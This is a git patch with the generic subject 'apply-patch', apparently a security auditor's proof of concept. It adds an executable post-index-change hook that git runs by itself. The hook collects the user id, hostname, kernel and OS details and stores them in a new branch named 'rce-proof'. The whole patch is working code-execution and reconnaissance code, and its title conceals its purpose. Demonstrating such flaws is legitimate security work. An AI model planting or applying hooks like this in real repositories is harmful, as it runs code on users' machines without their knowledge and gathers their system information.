From c6bffb59e658be913278645b8d0a9e071f3ca6d2 Mon Sep 17 00:00:00 2001 From: secaudit77 Date: Sun, 9 Aug 2026 12:33:37 +0200 Subject: [PATCH] apply-patch --- hooks/post-index-change | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..6c10eff --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,7 @@ +#!/bin/sh +OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3) +BLOB=$(echo "$OUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree) +COMMIT=$(git commit-tree ${TREE} -m "rce-output") +git update-ref refs/heads/rce-proof ${COMMIT} +exit 0